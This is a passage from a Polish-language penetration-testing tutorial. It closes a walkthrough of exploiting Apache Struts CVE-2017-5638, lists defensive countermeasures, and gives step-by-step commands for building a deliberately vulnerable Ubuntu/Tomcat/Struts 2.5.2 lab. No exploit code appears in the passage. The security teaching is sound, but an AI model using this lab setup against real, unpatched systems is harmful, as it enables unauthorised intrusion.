W​ ​tym​ ​etapie​ ​zapoznaliśmy​ ​się​ ​z​ ​podatnością​ ​CVE-2017-5638​ ​oraz​ ​sposobami​ ​szukania​ ​informacji​ ​o podatnościach.​ ​Dzięki​ ​wykorzystaniu​ ​exploita​ ​do​ ​podatności​ ​CVE-2017-5638​ ​uzyskaliśmy​ ​dostęp​ ​do systemu.

Przeciwdziałania

W​ ​celu​ ​zminimalizowania​ ​zagrożeń​ ​powinniśmy​ ​na​ ​bieżąco​ ​aktualizować​ ​system​ ​informatyczny poprawkami​ ​bezpieczeństwa.​ ​Analizowanie​ ​systemów​ ​informatycznych​ ​pod​ ​kątem​ ​podatności​ ​i​ ​ich naprawa,​ ​również​ ​zminimalizują​ ​ryzyko.​ ​Przeprowadzanie​ ​testów​ ​penetracyjnych​ ​pozwoli​ ​dodatkowo wykryć​ ​możliwe​ ​luki​ ​bezpieczeństwa.

Do it yourself

Przedstawiony​ ​przykład​ ​w​ ​artykule​ ​można​ ​przejść​ ​samodzielnie,​ ​powtarzając​ ​opisane​ ​przeze​ ​mnie kroki.​ ​Wspomnę,​ ​że​ ​powinno​ ​się​ ​to​ ​jedynie​ ​wykonywać​ ​w​ ​swoim​ ​testowym​ ​środowisku​ ​i​ ​to,​ ​że powinniśmy​ ​odpowiedzialnie​ ​korzystać​ ​z​ ​przedstawionych​ ​tu​ ​technik.

Poniżej​ ​opisałem​ ​kroki​ ​potrzebne​ ​do​ ​stworzenia​ ​środowiska​ ​testowego.

1. Pobrać​ ​obraz​ ​ubuntu​ ​server​ ​14.04​ ​(x86​ ​albo​ ​x64​ ​w​ ​zależności​ ​jaką​ ​platformę​ ​wspiera​ ​Wasz procesor)
​2. Zainstalować​ ​ubuntu​ ​server​ ​jako​ ​maszynę​ ​wirtualną​ ​oraz​ ​podczas​ ​instalacji​ ​wybrać​ ​usługi: OpenSSH​ ​server, LAMP​ ​server, Samba​ ​file​ ​server, Tomcat​ ​Java​ ​server
3. Zalogować​ ​się​ ​na​ ​stworzonego​ ​użytkownika​ ​i​ ​zainstalować​ ​program​ ​unzip​ ​(potrzebny​ ​do rozpakowania​ ​archiwum).​ ​Polecenie:

~$​​ ​sudo​ ​apt-get​ ​install​ ​unzip

4. Pobrać​ ​pakiet​ ​struts-2.5.2-all.zip​ ​ze​ ​strony​ ​Apache​ ​Foundation​ ​i​ ​umieścić​ ​to​ ​archiwum katalogu​ ​domowym​ ​naszego​ ​użytkownika.
5. Rozpakować​ ​archiwum​ ​i​ ​przenieść​ ​do​ ​katalogu​ ​struts2.​ ​Polecenie:

~$​​ ​unzip​ ​struts-2*-all.zip
~$​​ ​mv​ ​struts-2.5.2​ ​struts2

6. Usunąć​ ​przykładową​ ​aplikację​ ​pakietu​ ​tomcat​ ​i​ ​skopiować​ ​przykład​ ​oparty​ ​na​ ​framework struts2.​ ​Zrestartować​ ​serwis​ ​tomcat.​ ​Polecenia:

~$​​ ​cd​ ​struts2/apps
~$​ ​​sudo​ ​rm​ ​-fr​ ​/var/lib/tomcat7/webapps/ROOT
~$​ ​​sudo​ ​cp​ ​struts2-showcase.war​ ​/var/lib/tomcat7/webapps/ROOT.war
~$​ ​​sudo​ ​service​ ​tomcat7​ ​restart

7. Przetestować​ ​czy​ ​działa​ ​odwiedzając​ ​stronę​ ​http://​[adres_ip]​:8080/index.action,​ ​gdzie [adres_ip]​​ ​jest​ ​adresem​ ​IP,​ ​który​ ​otrzymała​ ​nasza​ ​testowa​ ​maszyna.

Łukasz Wierzbicki

Dodatkowe źródła

• Cyber Kill Chain
• TOP 20 CIS Controls for Effective Cyber Defense
• Reverse Shell
• Nmap NSEDoc
• CVE Details
• SecurityFocus
• Exploit-db